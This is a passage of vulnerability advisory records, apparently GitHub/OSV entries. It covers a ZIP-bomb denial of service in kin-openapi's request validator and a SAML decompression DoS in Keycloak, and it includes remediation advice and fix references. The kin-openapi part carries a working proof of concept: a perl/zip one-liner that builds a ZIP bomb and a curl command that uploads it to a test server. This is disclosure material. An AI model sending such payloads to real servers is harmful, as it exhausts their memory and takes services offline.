PathParams: pathParams,
}
if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
return
}
w.Write([]byte("request ok !"))
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:
perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.
Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)
Impact
An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.
Remediation
I see at least 2 potential fixes/improvements:
- Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
- Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.131.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-30153"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-19T18:12:53Z",
"nvd_published_at": "2025-03-19T16:15:33Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n title: \u0027Validator\u0027\n version: 0.0.1\npaths:\n /:\n post:\n requestBody:\n required: true\n content:\n multipart/form-data:\n schema:\n type: object\n required:\n - file\n properties:\n file:\n type: string\n format: binary\n responses:\n \u0027200\u0027:\n description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute: route,\n\t\tPathParams: pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e \u0027print \"0\" x 5000000000\u0027 \u003e /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/ -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it\u0027s reached (probably with a small default value and allow the users to configure it through the input options ?)",
"id": "GHSA-wq9g-9vfc-cfq9",
"modified": "2025-05-15T16:44:40Z",
"published": "2025-03-19T18:12:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30153"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/pull/1059"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter"
}
GHSA-XV6H-R36F-3GP5
Vulnerability from github – Published: 2026-03-18 06:31 – Updated: 2026-03-18 20:19A flaw was found in Keycloak. An unauthenticated remote attacker can trigger an application level Denial of Service (DoS) by sending a highly compressed SAMLRequest through the SAML Redirect Binding. The server fails to enforce size limits during DEFLATE decompression, leading to an OutOfMemoryError (OOM) and subsequent process termination. This vulnerability allows an attacker to disrupt the availability of the service.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-saml-adapter-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-saml-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-services"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2575"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T20:19:33Z",
"nvd_published_at": "2026-03-18T04:17:16Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Keycloak. An unauthenticated remote attacker can trigger an application level Denial of Service (DoS) by sending a highly compressed SAMLRequest through the SAML Redirect Binding. The server fails to enforce size limits during DEFLATE decompression, leading to an OutOfMemoryError (OOM) and subsequent process termination. This vulnerability allows an attacker to disrupt the availability of the service.",
"id": "GHSA-xv6h-r36f-3gp5",
"modified": "2026-03-18T20:19:33Z",
"published": "2026-03-18T06:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2575"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/46372"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/4f90ef67f698dfb45df0d2f4981271a7c8b47f04"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3947"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3948"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-2575"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2440149"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Keycloak: Denial of Service due to excessive SAMLRequest decompression"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.